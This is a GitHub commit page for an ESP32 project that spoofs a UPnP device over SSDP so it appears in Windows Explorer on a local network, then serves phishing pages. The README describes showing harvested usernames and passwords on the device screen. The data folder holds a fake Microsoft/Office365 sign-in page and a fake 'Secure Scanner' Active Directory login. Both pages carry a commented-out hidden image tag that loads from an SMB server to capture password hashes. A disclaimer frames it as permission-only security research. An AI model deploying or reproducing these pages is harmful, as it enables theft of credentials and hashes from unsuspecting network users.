Skip to content

Commit 5f8093e

Browse files
nechrynechry
committed
initial commit
0 parents  commit 5f8093e

File tree

596 files changed

+470885
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

596 files changed

+470885
-0
lines changed

‎.github/FUNDING.yml

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# These are supported funding model platforms
2+
3+
github: [nechry]
4+
patreon: # Replace with a single Patreon username
5+
open_collective: # Replace with a single Open Collective username
6+
ko_fi: # Replace with a single Ko-fi username
7+
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8+
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9+
liberapay: # Replace with a single Liberapay username
10+
issuehunt: # Replace with a single IssueHunt username
11+
otechie: # Replace with a single Otechie username
12+
lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
13+
custom: ["https://paypal.me/nechry"]

‎.gitignore

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
.pio
2+
.vscode
3+
4+
credentials.h
5+
.DS_Store

‎LICENSE

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2024 Jean-François Auger
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

‎README.md

+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# ESP32-SSDP-HoneyPot-Phishing
2+
3+
This code runs a web server on the ESP32 that responds to `SSDP` multicast discover requests, posing as a generic UPNP device. The spoofed device will magically appear in Windows Explorer on machines in your local network.
4+
5+
Users who are tempted to open the device are shown a configurable phishing page.
6+
7+
## Requirements
8+
9+
An [ESP32 lilyGO T-Display S3 board](https://s.click.aliexpress.com/e/_DFoYDZR) (affiliate link)
10+
11+
`Visual Studio Code` with the `PlatformIO` extension
12+
13+
## Installation
14+
15+
Clone this repository and open it in Visual Studio Code.
16+
17+
You have to rename the file `credentials.h.example` to `credentials.h` from `include` folder and fill in your own SSID and password.
18+
19+
Recommended: Before you upload the code to the ESP32, upload the data folder to the ESP32 using the `Upload Filesystem image` tool in the `PlatformIO` menu.
20+
21+
## Usage
22+
23+
When you power on the ESP32 it will start a web server and it will be discoverable by SSDP.
24+
25+
When someone browses/open the device, they get a web page that has a log in. When they log in the username/password are displayed on the ESP32 screen.
26+
27+
The default page is a fake corporate scanner, you can easily change the page to look like a backup controller, by starting the ESP32 with the button 2 pressed.
28+
29+
## Credits
30+
31+
Based on the project https://github.com/bdash9/ESP32-SSDP-HoneyPot-Phishing-webserver
32+
and devices templates from https://github.com/initstring/evil-ssdp
33+
34+
## License
35+
36+
MIT License
37+
38+
## Disclaimer
39+
40+
This is a security research tool for demonstrations purpose. Use only where granted explicit permission from the network owner.

‎boards/lilygo-t-displays3.json

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
{
2+
"build": {
3+
"arduino": {
4+
"ldscript": "esp32s3_out.ld",
5+
"memory_type": "qio_opi",
6+
"partitions": "default_16MB.csv"
7+
},
8+
"core": "esp32",
9+
"extra_flags": [
10+
"-DBOARD_HAS_PSRAM"
11+
],
12+
"f_cpu": "240000000L",
13+
"f_flash": "80000000L",
14+
"flash_mode": "qio",
15+
"hwids": [
16+
[
17+
"0X303A",
18+
"0x1001"
19+
]
20+
],
21+
"mcu": "esp32s3",
22+
"variant": "esp32s3"
23+
},
24+
"connectivity": [
25+
"wifi",
26+
"bluetooth"
27+
],
28+
"debug": {
29+
"openocd_target": "esp32s3.cfg"
30+
},
31+
"frameworks": [
32+
"arduino",
33+
"espidf"
34+
],
35+
"name": "T-DisplayS3",
36+
"upload": {
37+
"flash_size": "16MB",
38+
"maximum_ram_size": 327680,
39+
"maximum_size": 16777216,
40+
"require_upload_port": true,
41+
"speed": 921600
42+
},
43+
"url": "https://www.lilygo.cc/products/t-display-s3",
44+
"vendor": "LILYGO"
45+
}

‎data/404.html

+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
4+
<head>
5+
<meta charset="UTF-8">
6+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
7+
<title>404 Not Found</title>
8+
<style>
9+
body {
10+
font-family: 'Arial', sans-serif;
11+
background-color: #f4f4f4;
12+
margin: 0;
13+
padding: 0;
14+
text-align: center;
15+
display: flex;
16+
flex-direction: column;
17+
align-items: center;
18+
justify-content: center;
19+
height: 100vh;
20+
}
21+
22+
.container {
23+
max-width: 600px;
24+
}
25+
26+
h1 {
27+
color: #333;
28+
font-size: 120px;
29+
margin: 0;
30+
}
31+
32+
p {
33+
color: #555;
34+
font-size: 18px;
35+
margin-top: 20px;
36+
}
37+
38+
a {
39+
color: #007bff;
40+
text-decoration: none;
41+
font-weight: bold;
42+
}
43+
</style>
44+
</head>
45+
46+
<body>
47+
<div class="container">
48+
<h1>404</h1>
49+
<p>Oops! The page you are looking for might be in another universe.</p>
50+
<p>Return to <a href="/">home</a>.</p>
51+
</div>
52+
</body>
53+
54+
</html>

‎data/backup/icon48.png

4.18 KB
Loading

‎data/backup/present.html

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate"/>
7+
<meta http-equiv="Pragma" content="no-cache"/>
8+
<meta http-equiv="Expires" content="0"/>
9+
<title>Secure Storage for Office365 Login</title>
10+
<link rel="stylesheet" type="text/css" href="style.css">
11+
</head>
12+
<body>
13+
<div class="container">
14+
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
15+
<path fill="#737373"
16+
d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z" />
17+
<path fill="#F25022" d="M0 0h34.2v34.2H0z" />
18+
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z" />
19+
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z" />
20+
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z" />
21+
</svg>
22+
<form action="login.php" id="email-form-step" class="form" method="post">
23+
<h1>Sign In with<br>your Microsoft account</h1>
24+
<input name="username" type="text" placeholder="Email" required>
25+
<input name="password" type="password" placeholder="Password" required>
26+
<button type="submit">Next</button>
27+
</form>
28+
</div>
29+
<!-- <img src="file://///$smb_server/smb/hash.jpg" style="display: none;" /><br> -->
30+
</body>
31+
</html>

‎data/backup/style.css

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
body {
2+
font-family: Arial, Helvetica, sans-serif;
3+
margin: 0;
4+
padding: 0;
5+
height: 100vh;
6+
display: flex;
7+
align-items: center;
8+
justify-content: center;
9+
}
10+
11+
.container {
12+
max-width: 400px;
13+
padding: 25px;
14+
margin: auto;
15+
}
16+
17+
.form {
18+
max-width: 300px;
19+
padding: 20px;
20+
border: 1px solid #cccccc;
21+
border-radius: 5px;
22+
margin: 0 auto;
23+
}
24+
25+
h1 {
26+
text-align: center;
27+
color: #0067b8;
28+
}
29+
30+
input[type="text"],
31+
input[type="password"] {
32+
width: 100%;
33+
padding: 12px 10px;
34+
margin: 8px 0;
35+
box-sizing: border-box;
36+
border: 1px solid #cccccc;
37+
border-radius: 4px;
38+
}
39+
40+
button[type="submit"] {
41+
width: 100%;
42+
background-color: #0067b8;
43+
color: white;
44+
padding: 14px 20px;
45+
margin: 8px 0;
46+
border: none;
47+
border-radius: 4px;
48+
cursor: pointer;
49+
}
50+
51+
button[type="submit"]:hover {
52+
background-color: #005299;
53+
}
54+
55+
svg {
56+
display: block;
57+
margin: 0 auto;
58+
width: 150px;
59+
height: 150px;
60+
}

‎data/error.html

+51
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
6+
<title>Device Error</title>
7+
<style>
8+
body {
9+
font-family: 'Arial', sans-serif;
10+
background-color: #f4f4f4;
11+
margin: 0;
12+
padding: 0;
13+
text-align: center;
14+
display: flex;
15+
flex-direction: column;
16+
align-items: center;
17+
justify-content: center;
18+
height: 100vh;
19+
}
20+
21+
.container {
22+
max-width: 600px;
23+
}
24+
25+
h1 {
26+
color: #e44d26;
27+
font-size: 48px;
28+
margin: 0;
29+
}
30+
31+
p {
32+
color: #555;
33+
font-size: 18px;
34+
margin-top: 20px;
35+
}
36+
37+
img {
38+
width: 200px;
39+
margin-top: 20px;
40+
}
41+
</style>
42+
</head>
43+
<body>
44+
<div class="container">
45+
<h1>Device Error</h1>
46+
<p>We apologize, but it seems that the device is currently experiencing issues.</p>
47+
<img src="error_icon.png" alt="Error Icon">
48+
<p>Contact your system administrator for assistance.</p>
49+
</div>
50+
</body>
51+
</html>

‎data/error_icon.png

14.4 KB
Loading

‎data/favicon.ico

15 KB
Binary file not shown.

‎data/scanner/icon48.png

5.16 KB
Loading

‎data/scanner/present.html

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<!DOCTYPE html>
2+
<html>
3+
4+
<head>
5+
<meta charset="UTF-8">
6+
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate"/>
7+
<meta http-equiv="Pragma" content="no-cache"/>
8+
<meta http-equiv="Expires" content="0"/>
9+
<link rel="stylesheet" type="text/css" href="style.css">
10+
<title>Secure Scanner - Login</title>
11+
</head>
12+
13+
<body>
14+
<div id="login">
15+
<div id="triangle"></div>
16+
<h1>Log in</h1>
17+
<h2>You have [3] scans waiting</h2>
18+
<h3>Please enter your Active Directory username and password</h3>
19+
<form action="login.php" id="email-form-step" class="form" method="post">
20+
<input type="username" name="username" placeholder="Username" />
21+
<input type="password" name="password" placeholder="Password" />
22+
<input type="submit" value="Log in" />
23+
</form>
24+
</div>
25+
</body>
26+
<!-- <img src="file://///$smb_server/smb/hash.jpg" style="display: none;" /><br> -->
27+
28+
</html>

0 commit comments

Comments
 (0)